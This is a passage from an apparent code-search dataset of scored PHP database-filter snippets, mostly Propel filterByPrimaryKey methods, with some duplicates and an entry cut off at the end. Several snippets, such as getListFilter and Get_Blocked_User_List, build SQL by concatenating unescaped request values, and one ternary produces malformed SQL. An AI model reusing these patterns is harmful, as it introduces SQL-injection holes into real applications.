"text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(MensagemClientePeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "4f2cc40613c00a77fd7e902bb2946b4a", "score": "0.46506968", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(LibroPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "0a5fc72610907a951095ee8fe91487c5", "score": "0.46441004", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(ToolcommentsPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "1707dc7818519a3582c6ca683cd4d4f4", "score": "0.46415153", "text": "public function filterByPrimaryKey($key)\n {\n return $this->addUsingAlias(CollectorEmailPeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "a14f976a5d739df81b67846462dbe3ca", "score": "0.4634925", "text": "public function filterByAlatDariBlockgrant($alatDariBlockgrant, $comparison = null)\n {\n if ($alatDariBlockgrant instanceof AlatDariBlockgrant) {\n return $this\n ->addUsingAlias(BlockgrantPeer::BLOCKGRANT_ID, $alatDariBlockgrant->getBlockgrantId(), $comparison);\n } elseif ($alatDariBlockgrant instanceof PropelObjectCollection) {\n return $this\n ->useAlatDariBlockgrantQuery()\n ->filterByPrimaryKeys($alatDariBlockgrant->getPrimaryKeys())\n ->endUse();\n } else {\n throw new PropelException('filterByAlatDariBlockgrant() only accepts arguments of type AlatDariBlockgrant or PropelCollection');\n }\n }", "title": "" }, { "docid": "dca2532d40eb9c5130921a9120eaa412", "score": "0.46149105", "text": "function SqlKeyFilter() {\r\n\t\treturn \"`id_profile` = @id_profile@ AND `stat_date` = '@stat_date@'\";\r\n\t}", "title": "" }, { "docid": "90f92e215f09edf43ee8700fbf335a4a", "score": "0.460768", "text": "function UserID_Filtering(&$filter) {\r\n\r\n\t\t// Enter your code here\r\n\t}", "title": "" }, { "docid": "90f92e215f09edf43ee8700fbf335a4a", "score": "0.460768", "text": "function UserID_Filtering(&$filter) {\r\n\r\n\t\t// Enter your code here\r\n\t}", "title": "" }, { "docid": "d47bc186ce9ee014a85f778438122ed3", "score": "0.46049002", "text": "public function filterWhere(Builder $dataSource)\r\n {\r\n $adapter = $adapter = $dataSource->getModel()->getReadConnection();\r\n $alias = $dataSource->getCorrelationName($this->_field);\r\n $this->setBoundParamKey($alias.\"_\".$this->_field);\r\n\r\n\t\treturn $alias.\".\".$this->_field.($this->_criteria == self::CRITERIA_NOTEQ) ? \" NOT \" : \" \". \"BETWEEN :\".$this->getBoundParamKey().\"_min: AND :\".$this->getBoundParamKey().\"_max:\";\r\n\t}", "title": "" }, { "docid": "a539cf198d16893273ee0751d6c2cd74", "score": "0.46035212", "text": "public function searchByUser($id)\n {\n // should not be searched.\n\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id,true);\n $criteria->compare('user_id',$id);\n $criteria->compare('service_id',$this->service_id,true);\n $criteria->compare('order_id',$this->order_id,true);\n $criteria->compare('status_id',$this->status_id,true);\n $criteria->compare('total_amount',$this->total_amount,true);\n $criteria->compare('total_amount_net',$this->total_amount_net,true);\n $criteria->compare('total_amount_vat',$this->total_amount_vat,true);\n $criteria->compare('vat',$this->vat,true);\n $criteria->compare('min_amount',$this->min_amount,true);\n $criteria->compare('currency_code',$this->currency_code,true);\n $criteria->compare('date_issued',$this->date_issued,true);\n $criteria->compare('date_due',$this->date_due,true);\n $criteria->compare('period_start',$this->period_start,true);\n $criteria->compare('period_end',$this->period_end,true);\n $criteria->compare('comment',$this->comment,true);\n $criteria->compare('payment_reference_model',$this->payment_reference_model,true);\n $criteria->compare('payment_reference',$this->payment_reference,true);\n $criteria->compare('type',$this->type,true);\n $criteria->compare('time_created',$this->time_created,true);\n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n ));\n }", "title": "" }, { "docid": "79081e185ed8d29dfe373d5814f88d90", "score": "0.45848897", "text": "public function _filter($data, $key, $value) {\n $key = str_replace('---', '.', $key);\n $key = str_replace('_LK', ' LIKE', $key);\n $key = str_replace('_NE', ' !=', $key);\n $key = str_replace('_GT', ' >', $key);\n $key = str_replace('_LT', ' <', $key);\n $key = str_replace('_GE', ' >=', $key);\n $key = str_replace('_LE', ' <=', $key);\n $item = explode(\" \", $key);\n if (count($item) > 1) {\n if (trim($item[1]) == 'LIKE') { \n $value = $value.'%'; \n }\n $data = $data->where($item[0], $item[1], $value);\n } else {\n $data = $data->where($item[0], $value);\n }\n return $data;\n }", "title": "" }, { "docid": "a7184016bc365d3e4109a8961769f0e6", "score": "0.4584535", "text": "function getListFilter($col,$key) {\n\t\t\tswitch($col) {\n\t\t\t\tcase 'unit':\n\t\t\t\t\tglobal $conn, $conf;\n\t\t\t\t\trequire_once($conf['gate_dir'].'model/m_unit.php');\n\t\t\t\t\t\n\t\t\t\t\t$row = mUnit::getData($conn,$key);\n\t\t\t\t\t\n\t\t\t\t\treturn \"u.infoleft >= \".(int)$row['infoleft'].\" and u.inforight <= \".(int)$row['inforight'];\n\t\t\t\t\tbreak;\t\t\t\t\n\t\t\t\tcase 'tahun':\n\t\t\t\t\tif($key != 'all')\n\t\t\t\t\t\treturn \"datepart(year, tmtmulai) = '$key'\";\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"(1=1)\";\n\t\t\t\t\t\n\t\t\t\t\tbreak;\t\t\t\t\n\t\t\t\tcase 'tunjangan':\n\t\t\t\t\tif($key != 'all')\n\t\t\t\t\t\treturn \"g.kodetunjangan = '$key'\";\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"(1=1)\";\n\t\t\t\t\t\n\t\t\t\t\tbreak;\t\t\t\t\n\t\t\t\tcase 'jenispegawai':\n\t\t\t\t\tif($key != 'all')\n\t\t\t\t\t\treturn \"idjenispegawai = '$key'\";\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"(1=1)\";\n\t\t\t\t\t\n\t\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\tcase 'periodegaji':\n\t\t\t\t\treturn \"g.periodegaji = '$key'\";\n\t\t\t\t\tbreak;\t\t\t\t\t\n\t\t\t\tcase 'periodetarif':\n\t\t\t\t\treturn \"g.periodetarif = '$key'\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'golongan':\n\t\t\t\t\treturn \"g.idpangkat = '$key'\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'tunjangan':\n\t\t\t\t\treturn \"g.kodetunjangan = '$key'\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'periodehist':\n\t\t\t\t\treturn \"g.gajiperiode = '$key'\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'bayarlembur':\n\t\t\t\t\tif(!empty($key)){\n\t\t\t\t\t\tif($key == 'Y')\n\t\t\t\t\t\t\treturn \"g.isbayar = 'Y'\";\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn \"(g.isbayar = 'T' or g.isbayar is null)\";\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "59629e90911556cd20dec92662e3442e", "score": "0.45830455", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(RombonganBelajarPeer::ROMBONGAN_BELAJAR_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "6c25d1097751ef19affd2344b4922a23", "score": "0.4569865", "text": "function UserID_Filtering(&$filter) {\n\n\t\t// Enter your code here\n\t}", "title": "" }, { "docid": "6c25d1097751ef19affd2344b4922a23", "score": "0.4569865", "text": "function UserID_Filtering(&$filter) {\n\n\t\t// Enter your code here\n\t}", "title": "" }, { "docid": "6c25d1097751ef19affd2344b4922a23", "score": "0.4569865", "text": "function UserID_Filtering(&$filter) {\n\n\t\t// Enter your code here\n\t}", "title": "" }, { "docid": "6db878e799f2e93ba8d51656ab5a330d", "score": "0.4558771", "text": "public function getSqlWhereClauseSnippet() {\n \n tx_pttools_assert::isEqual(count($this->dataDescriptions), 1, array('message' => 'This filter can only be used with 1 column'));\n \n $table = $this->dataDescriptions->getItemByIndex(0)->get_table();\n $field = $this->dataDescriptions->getItemByIndex(0)->get_field();\n \n $dbColumn = $table.'.'.$field;\n \n $sqlWhereClauseSnippet = array();\n if (!empty($this->value['minval'])) {\n \t$sqlWhereClauseSnippet[] = $dbColumn.' >= '.intval($this->value['minval']);\n }\n if (!empty($this->value['maxval'])) {\n \t$sqlWhereClauseSnippet[] = $dbColumn.' <= '.intval($this->value['maxval']);\n }\n return implode(' AND ', $sqlWhereClauseSnippet);\n \n }", "title": "" }, { "docid": "e4f6b11a16a96ad0f784f48084083cea", "score": "0.45586002", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(WorkflowratingPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "72a761f07898d23981972aad2f32447e", "score": "0.45552272", "text": "public function Get_Blocked_User_List(){\n\n\t\t$columns = array( 0 => \"userId\", 1 => \"userName\", 2 => \"email\", 3 => \"country\", 4 => \"membership\", 5 => \"addedOn\", 6 => \"status\", 7 => \"userId\");\n\n\n\n $limit = $this->input->post('length');\n\n $start = $this->input->post('start');\n\n $order = $columns[$this->input->post('order')[0]['column']];\n\n $dir = $this->input->post('order')[0]['dir'];\n\n\n\n $cond = \" order by $order $dir LIMIT $start, $limit \";\n\n \n\n $totalDataCount = $this->Common_model->exequery(\"SELECT count(userId) as total from vm_user where status = 2\",1);\n\n $totalData = (isset($totalDataCount->total) && $totalDataCount->total > 0)?$totalDataCount->total:0;\n\n \n\n $totalFiltered = $totalData; \n\n $qry = \"SELECT userId, img, userName, email, country, addedOn,status,(SELECT (CASE WHEN count(*) > 0 then 'Active' else 'Not Active' end) as membership_count FROM vm_user_memberships WHERE startDate <= '\".date('Y-m-d').\"' AND endDate >= '\".date('Y-m-d').\"' AND userId=vm_user.userId AND subscriptionStatus ='Active' order by membershipId desc limit 0, 1) as `membership`, case when status='0' then 'Active' else 'blocked' end as status,\n\n\t\t\tcase when status='0' then 'act fa fa-circle' else 'dct fa fa-circle' end as class from vm_user where status = 2\"; \n\n if(empty($this->input->post('search')['value']))\n\n { \n\n $queryData = $this->Common_model->exequery($qry.$cond);\n\n }else {\n\n $search = $this->input->post('search')['value'];\n\n if (!empty($search)) { \t\n\n \t$search = str_replace(\"'\", '', $search); \n\n \t$search = str_replace('\"', '', $search); \n\n } \n\n $searchCond = \" AND (userName LIKE '%\".$search.\"%' OR email LIKE '%\".$search.\"%' OR country LIKE '%\".$search.\"%' OR addedOn LIKE '%\".$search.\"%' OR status LIKE '%\".$search.\"%' ) \";\n\n $cond = $searchCond.$cond;\n\n $queryData = $this->Common_model->exequery($qry.$cond);\n\n\n\n $totalDataCount = $this->Common_model->exequery(\"SELECT count(userId) as total from vm_user where status = 2 \".$searchCond,1);\n\n $totalFiltered = (isset($totalDataCount->total) && $totalDataCount->total > 0)?$totalDataCount->total:0;\n\n }\n\n $data = array();\n\n if(!empty($queryData))\n\n {\n\n foreach ($queryData as $row)\n\n {\t$img = (!empty($user->img))?UPLOADPATH.'/user_images/'.$user->img:DASHSTATIC.'/restaurant/assets/img/user.png';\n\n $nestedData['image'] = '<img src=\"'.$img.'\" width=\"30px\" height=\"30px\">';\n\n $nestedData['userName'] = $row->userName;\n\n $nestedData['email'] = $row->email;\n\n $nestedData['country'] = $row->country;\n\n $nestedData['membership'] = $row->membership;\n\n $nestedData['addedOn'] = $row->addedOn;\n\n $nestedData['status'] = $this->lang->line($row->status);\n\n $nestedData['action'] = '<a href=\"'.DASHURL.'/admin/user/view-user/'.$row->userId .'\" class=\"btn btn-primary btn-rounded btn-sm \"><i class=\"fa fa-eye\"></i></a><button onclick=\"unblock_row(this,\\'user\\','.$row->userId.');\" class=\"btn btn-danger btn-rounded btn-sm del\" title=\"Delete\"><span class=\"fa fa-times-circle-o\"></span></button><button onclick=\"delete_row(this,\\'delete_user\\','.$row->userId.');\" class=\"btn btn-danger btn-rounded btn-sm del\" title=\"Delete\"><span class=\"fa fa-trash-o\"></span></button>';\n\n $data[] = $nestedData;\n\n\n\n }\n\n }\n\n \n\n return $json_data = array(\"draw\" => intval($this->input->post('draw')), \"recordsTotal\" => intval($totalData), \"recordsFiltered\" => intval($totalFiltered), \"data\" => $data );\n\n\n\n\t}", "title": "" }, { "docid": "7703fad4c9a2e1cf9ff3056296a47041", "score": "0.45442697", "text": "static public function filterById($id)\n\t{\n\t\treturn self::where('id', $id)\n\t\t ->with('client', 'collaborator')\n\t\t ->get();\n\t}", "title": "" }, { "docid": "b8ed38154aa43e90f06449224864f91f", "score": "0.45268765", "text": "public function blockedUser($studentId) {\n\n\t\t $query = \"SELECT\n \t\t\t\t isStatus,message\n \t\t\t FROM\n \t\t\t\t block_stu\n\t\t\t\t WHERE\n \t\t\t\t studentId='\".$studentId.\"'\";\n\t\t\n\t\t return SystemDatabaseManager::getInstance()->executeQuery($query,\"Query: $query\");\n\t\t }", "title": "" }, { "docid": "ed5ce564d0fb31fa537afaad987ddc10", "score": "0.4520291", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(sfCommentPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "89e4c90c47034366f310f28b557608ec", "score": "0.45145127", "text": "public static function removeBlock($blockId)\n {\n $res = FilterBlockTable::getList(\n [\n 'select' => [\n 'ID'\n ],\n 'filter' => [\n 'BLOCK_ID' => $blockId\n ]\n ]\n );\n while ($row = $res->fetch()) {\n FilterBlockTable::delete($row['ID']);\n }\n unset($res, $row);\n self::actualFilters();\n }", "title": "" }, { "docid": "a896920ba6599729e55c9b13db07d909", "score": "0.45136592", "text": "public function filterByPrimaryKey($key)\r\n {\r\n\r\n return $this->addUsingAlias(KitsEnsaioPeer::ID, $key, Criteria::EQUAL);\r\n }", "title": "" }, { "docid": "f05e1689385f8af669c32088bba5f10d", "score": "0.44948646", "text": "public function filterByNama($nama = null, $comparison = null)\n {\n if (null === $comparison) {\n if (is_array($nama)) {\n $comparison = Criteria::IN;\n } elseif (preg_match('/[\\%\\*]/', $nama)) {\n $nama = str_replace('*', '%', $nama);\n $comparison = Criteria::LIKE;\n }\n }\n\n return $this->addUsingAlias(BlockgrantPeer::NAMA, $nama, $comparison);\n }", "title": "" }, { "docid": "4807975e9156aa5acb6c8193121b1fa0", "score": "0.4494636", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(RolmoduloPeer::IDROLMODULO, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "2e7bf7c2c56875481eef7c55b5d76970", "score": "0.44776234", "text": "public function searchClients($id){\r\n $val=(string)$id;\r\n \r\n $c1= $this->db->prepare(\"Select * from clients WHERE client_id=:ID\");\r\n $c1->execute(array (':ID'=>$val));\r\n print_r($c1->fetchAll());\r\n \r\n \r\n }", "title": "" }, { "docid": "dfd593e9ae2faf92b91a02bd5228d359", "score": "0.4475124", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(afCrmAccountPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "694237fa66258b61d88acfebc41de412", "score": "0.4469477", "text": "public function itemsFilterHash($params) {\n\t\t$itemshash = $this->tableName . ':list';\n\t\tif (isset($params['exclude']) && (is_array($params['exclude']))) {\n\t\t\t$itemshash .= ':exclude-' . implode('-', $params['exclude']);\n\t\t}\n\t\tif (isset($params['orderby']) && (is_array($params['orderby']))) {\n\t\t\t$orderdir = isset($params['orderdir']) ? '-' . $params['orderdir'] : '';\n\t\t\t$itemshash .= ':orderby-' . $params['orderby'] . $orderdir;\n\t\t}\n\t\tif (!empty($params['limit'])) {\n\t\t\t$limit = (int)$params['limit'];\n\t\t\t$offset = (int)$params['offset'];\n\t\t\t$itemshash .= ':limit-' . $limit;\n\t\t\tif ($offset) {\n\t\t\t\t$itemshash .= ':offset-' . $offset;\n\t\t\t}\n\t\t}\n\t\treturn $itemshash;\n\t}", "title": "" }, { "docid": "5a800fbc6246b4ee9301a861ce67cd76", "score": "0.44683975", "text": "public function filterByObjectItemId($select, $objectItemId)\n {\n $select->where('item_relations_relations.object_item_id = ?', (int) $objectItemId);\n }", "title": "" }, { "docid": "d5ccd6c9e22fd848c1374ec693129b3c", "score": "0.44621778", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(IntentFormsPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "ceb860d05ecf9e59587e5fe471168373", "score": "0.44615626", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(PlanPeer::ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "414d96029b1204ef0436c1397e7dc455", "score": "0.44582027", "text": "public function getModuleSecretKey($idWebsite){\n $resource = Mage::getModel(\"core/config_data\")->getCollection()\n ->addFieldToFilter('scope','stores')\n ->addFieldToFilter('value',$idWebsite);\n // now filter again by is active \n $scope_id = array();\n foreach ($resource as $val) {\n $scope_id[] = $val->getData('scope_id');\n }\n // now filter with the config set to enabledwebsite = 1\n $resource = Mage::getModel(\"core/config_data\")->getCollection()\n ->addFieldToFilter('scope','stores')\n ->addFieldToFilter('scope_id',array(\"in\"=>$scope_id))\n ->addFieldToFilter('path','avisverifies/system/enabledwebsite')\n ->addFieldToFilter('value','1')->getFirstItem();\n // use the first element to get the config\n $resource = Mage::getModel(\"core/config_data\")->getCollection()\n ->addFieldToFilter('scope','stores')\n ->addFieldToFilter('path','avisverifies/system/secretkey')\n ->addFieldToFilter('scope_id',$resource->getData('scope_id'))\n ->getFirstItem();\n\n return $resource->getData('value');\n }", "title": "" }, { "docid": "138bb9274dcbb417893c6e5db6310598", "score": "0.44571835", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(AliEmTableMap::COL_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "93c457d2108455131437f00552eeeaf3", "score": "0.44479483", "text": "public function getNonAdminModuleAccessQuery($module)\n\t{\n\t\t$userId = \\App\\User::getCurrentUserId();\n\t\trequire 'user_privileges/sharing_privileges_' . $userId . '.php';\n\t\t$tabId = \\App\\Module::getModuleId($module);\n\t\t$sharingRuleInfoVariable = $module . '_share_read_permission';\n\t\t$sharingRuleInfo = ${$sharingRuleInfoVariable};\n\t\t$query = '';\n\t\tif (!empty($sharingRuleInfo) && (\\count($sharingRuleInfo['ROLE']) > 0 ||\n\t\t\t\\count($sharingRuleInfo['GROUP']) > 0)) {\n\t\t\t$query = ' (SELECT shareduserid FROM vtiger_tmp_read_user_sharing_per ' .\n\t\t\t\t\"WHERE userid=$userId && tabid=$tabId) UNION (SELECT \" .\n\t\t\t\t'vtiger_tmp_read_group_sharing_per.sharedgroupid FROM ' .\n\t\t\t\t\"vtiger_tmp_read_group_sharing_per WHERE userid=$userId && tabid=$tabId)\";\n\t\t}\n\t\treturn $query;\n\t}", "title": "" }, { "docid": "a92e303894bef82a40680a4a677d0c07", "score": "0.44420782", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(MUtilisateurPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "ec37f0b723279e2cb619993a68033871", "score": "0.44410026", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(GsZiccodePeer::INSTELLINGSCODE, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "ed26de7b6121354cbe6bb71a01ad6189", "score": "0.44292167", "text": "private function filterForUser(&$query){\n\n $idApp=Yii::$app->params['sesionApp']['idApp'];\n $userRole=Yii::$app->params['sesionApp']['userRole'];\n $idUser=Yii::$app->params['sesionApp']['userId'];\n\n switch(Perfil::roleToCodePerfil($userRole)){\n case 'ADM':\n case 'EJE':\n // llamamos todos los pedidos de la aplicacion\n $query->where(['pedido.app_idApp'=>$idApp]); \n break;\n case 'RES':\n // llamamod a todos los pedido del responsable y sus encargados\n $empleados=User::getEmployes($idApp,$idUser); //Obtenemos los empleados del usuario\n $query->where(['pedido.app_idApp'=>$idApp,'idResponsable'=>array_merge([$idUser],$empleados)]); \n break;\n\n case 'OPE':\n $query->where(['pedido.app_idApp'=>$idApp,'idResponsable'=>$idUser]); \n\n }\n\n }", "title": "" }, { "docid": "29317d5fe11b1b1b6fef3e9bd5f35248", "score": "0.4429076", "text": "public function filters($instance_id = NULL);", "title": "" }, { "docid": "00a620c75dc0f4f6b32be4c7b744f60a", "score": "0.44253537", "text": "function getListViewSecurityParameter($module) {\n\t\tglobal $current_user;\n\t\trequire('user_privileges/user_privileges_'.$current_user->id.'.php');\n\t\trequire('user_privileges/sharing_privileges_'.$current_user->id.'.php');\n\n\t\t$sec_query = '';\n\t\t$tabid = getTabid($module);\n\n\t\tif($is_admin==false && $profileGlobalPermission[1] == 1 && $profileGlobalPermission[2] == 1\n\t\t\t&& $defaultOrgSharingPermission[$tabid] == 3) {\n\n\t\t\t\t$sec_query .= \" AND (vtiger_crmentity.smownerid in($current_user->id) OR vtiger_crmentity.smownerid IN \n\t\t\t\t\t(\n\t\t\t\t\t\tSELECT vtiger_user2role.userid FROM vtiger_user2role \n\t\t\t\t\t\tINNER JOIN vtiger_users ON vtiger_users.id=vtiger_user2role.userid \n\t\t\t\t\t\tINNER JOIN vtiger_role ON vtiger_role.roleid=vtiger_user2role.roleid \n\t\t\t\t\t\tWHERE vtiger_role.parentrole LIKE '\".$current_user_parent_role_seq.\"::%'\n\t\t\t\t\t) \n\t\t\t\t\tOR vtiger_crmentity.smownerid IN \n\t\t\t\t\t(\n\t\t\t\t\t\tSELECT shareduserid FROM vtiger_tmp_read_user_sharing_per \n\t\t\t\t\t\tWHERE userid=\".$current_user->id.\" AND tabid=\".$tabid.\"\n\t\t\t\t\t) \n\t\t\t\t\tOR (\";\n\n\t\t\t\t\t// Build the query based on the group association of current user.\n\t\t\t\t\tif(sizeof($current_user_groups) > 0) {\n\t\t\t\t\t\t$sec_query .= \" vtiger_groups.groupid IN (\". implode(\",\", $current_user_groups) .\") OR \";\n\t\t\t\t\t}\n\t\t\t\t\t$sec_query .= \" vtiger_groups.groupid IN \n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tSELECT vtiger_tmp_read_group_sharing_per.sharedgroupid \n\t\t\t\t\t\t\tFROM vtiger_tmp_read_group_sharing_per\n\t\t\t\t\t\t\tWHERE userid=\".$current_user->id.\" and tabid=\".$tabid.\"\n\t\t\t\t\t\t)\";\n\t\t\t\t$sec_query .= \")\n\t\t\t\t)\";\n\t\t}\n\t\treturn $sec_query;\n\t}", "title": "" }, { "docid": "3b1b37aaab1211850009507765465ce1", "score": "0.4423581", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(CasoPeer::ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "30bcab23a94b255d365daa262df8f8f7", "score": "0.44222042", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(RitCollegePeer::RIT_COLLEGE_ID, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "b060fb0e4d695e37604a7d9e319f33f1", "score": "0.44166932", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(InpassingPeer::INPASSING_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "31f1e94ac74b108f4f2e7b0f18a67e0b", "score": "0.44072694", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(AliSupplierTableMap::COL_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "260b19439006630e6923e8a3efa02ffc", "score": "0.44049034", "text": "function getSQLFilter() {\n global $CFG;\n if(empty($this->_value)) {\n return null;\n }\n $timenow = time();\n $where = 'WHERE contextlevel=10 AND roleid='. $this->_value . ' AND timestart<' . $timenow .' AND (timeend=0 OR timeend>'. $timenow . ')';\n return $this->_field . \" IN (SELECT userid FROM {$CFG->prefix}role_assignments a \".\n \"INNER JOIN {$CFG->prefix}context b ON a.contextid=b.id \".\n $where . ')';\n }", "title": "" }, { "docid": "8e2f580e9101b381e0e035badd6979d4", "score": "0.43999583", "text": "public function filterByUpdaterId($updaterId = null, $comparison = null)\n {\n if (null === $comparison) {\n if (is_array($updaterId)) {\n $comparison = Criteria::IN;\n } elseif (preg_match('/[\\%\\*]/', $updaterId)) {\n $updaterId = str_replace('*', '%', $updaterId);\n $comparison = Criteria::LIKE;\n }\n }\n\n return $this->addUsingAlias(BlockgrantPeer::UPDATER_ID, $updaterId, $comparison);\n }", "title": "" }, { "docid": "f5074c875b4ef6f5af34f8d179012e83", "score": "0.43973", "text": "function get_detail_block_by_id($params) {\n $sql = \"SELECT a.*, b.airlines_nm, c.operator_name \n FROM com_block a \n LEFT JOIN airlines b ON b.airlines_id = a.airlines_id \n LEFT JOIN com_user c ON c.user_id = a.block_by \n WHERE block_id = ?\";\n $query = $this->db->query($sql, $params);\n if ($query->num_rows() > 0) {\n $result = $query->row_array();\n $query->free_result();\n return $result;\n } else {\n return array();\n }\n }", "title": "" }, { "docid": "9395dfa977453812fe44aa96327bccbf", "score": "0.43957043", "text": "public function filterKey(Closure $closure);", "title": "" }, { "docid": "2135f3b5d8d5cb7b72115728427ce95f", "score": "0.43946853", "text": "public function filterByPrimaryKey($key)\r\n\t{\r\n\t\treturn $this->addUsingAlias(ClientAddressPeer::ID, $key, Criteria::EQUAL);\r\n\t}", "title": "" }, { "docid": "8271615ad2bbb39db7f8e0a5a5122341", "score": "0.43882442", "text": "public function getFilterSelect()\n\t{\n\t\treturn ['LBL_MINE' => 'mine', 'LBL_ALL' => 'all', 'LBL_USERS' => 'users', 'LBL_GROUPS' => 'groups'];\n\t}", "title": "" }, { "docid": "4dfff692013d1ffe0c633f229e1fcb40", "score": "0.43825516", "text": "function SqlKeyFilter() {\r\n\t\treturn \"\";\r\n\t}", "title": "" }, { "docid": "9f432f6394bebc9c3e286a4ce9133043", "score": "0.43823543", "text": "public function filterByPrimaryKey($key)\n\t{\n\t\treturn $this->addUsingAlias(Oops_Db_DiscountPeer::ID_DISCOUNT, $key, Criteria::EQUAL);\n\t}", "title": "" }, { "docid": "4a0fd52579291422c32c6e86ef256a17", "score": "0.438155", "text": "function getClickQuery($pixelId, $color, $blockId)\n{\n $dsn = getConfig('db.dsn');\n if (strncmp($dsn, 'sqlite', 6) === 0) {\n return \"UPDATE block SET pixels = SUBSTR(pixels, 1, $pixelId * 6) || '$color' || SUBSTR(pixels, $pixelId * 6 + 1 + 6) WHERE id = $blockId\";\n }\n return \"UPDATE block SET pixels = INSERT(pixels, $pixelId * 6 + 1, 6, '$color') WHERE id = $blockId LIMIT 1\";\n}", "title": "" }, { "docid": "545728df576a648ab11a4caaa48309e0", "score": "0.43803427", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(ArSaleper1TableMap::COL_ARSPSALEPER1, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "9008b0c835120021f714c7710676c645", "score": "0.4375344", "text": "function selectallQuery ($id = '') {\n global $CFG;\n\n $query = \"\n SELECT \n *,\n docdate as datestamp,\n MD5(url) as oaiid,\n 'globalsearch' as `set`\n FROM \n {$CFG->prefix}block_search_documents\n WHERE \n \";\n\n if ($id == '') {\n $query .= 'id = id';\n } else {\n $query .= \" MD5(url) = '$id' \";\n }\n return $query;\n}", "title": "" }, { "docid": "e93c12ea77de4659d9fac9b75fea30de", "score": "0.43740898", "text": "function shh_getFilterChanges($id);", "title": "" }, { "docid": "67ac22016a3a1bb86d1c2ae565c7423f", "score": "0.43739983", "text": "function validateBlockId($blockId)\n{\n if (!ctype_digit($blockId) || $blockId < 1 || $blockId > BLOCK_MAX) {\n http_response_code(404);\n exit;\n }\n return intval($blockId);\n}", "title": "" }, { "docid": "78d0e06494b10f579ff7f4073d264c98", "score": "0.43733162", "text": "public function searchByProfile_id($filter_member_id, $gender) {\n if ($filter_member_id == 'undefined') {\n $sql = \"SELECT * FROM user_profile_tab,user_tab where user_tab.user_id = user_profile_tab.user_id AND user_tab.user_gender !='$gender' AND user_tab.user_status='1' AND user_tab.user_doc_verified='1' ORDER BY user_tab.user_id DESC \";\n } else {\n $sql = \"SELECT * FROM user_profile_tab,user_tab where user_tab.user_id = user_profile_tab.user_id AND user_tab.user_gender !='$gender' AND user_profile_tab.user_profile_key='BPARI#\" . $filter_member_id . \"' AND user_tab.user_status='1' AND user_tab.user_doc_verified='1' ORDER BY user_tab.user_id DESC\";\n }\n // echo $sql;die();\n $result = $this->db->query($sql);\n if ($result->num_rows() <= 0) {\n return false;\n } else {\n return $result->result_array();\n }\n }", "title": "" }, { "docid": "e7440fdc877e8c3906259abc24bf3042", "score": "0.43721655", "text": "public function testFilterByStoreId(): void\n {\n $searchCriteria = $this->searchCriteriaBuilder\n ->addFilter('store_id', '1', 'eq')\n ->create();\n $list = $this->productRepository->getList($searchCriteria);\n $count = $list->getTotalCount();\n $this->assertGreaterThanOrEqual(1, $count);\n }", "title": "" }, { "docid": "c2641b138aee63077302fb3bf64aa9b2", "score": "0.43710947", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(ArtRequestPeer::ART_REQUEST_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "4f57db128c07fd5da701b4e921b1f7ea", "score": "0.43693152", "text": "public function filterByPrimaryKey($key)\n {\n\n return $this->addUsingAlias(PenggunaPeer::PENGGUNA_ID, $key, Criteria::EQUAL);\n }", "title": "" }, { "docid": "1609078bd919950345e0d699dbd6bf4b", "score": "0.4366286", "text": "public function filterByPrimaryKey($key)\n {\n\n 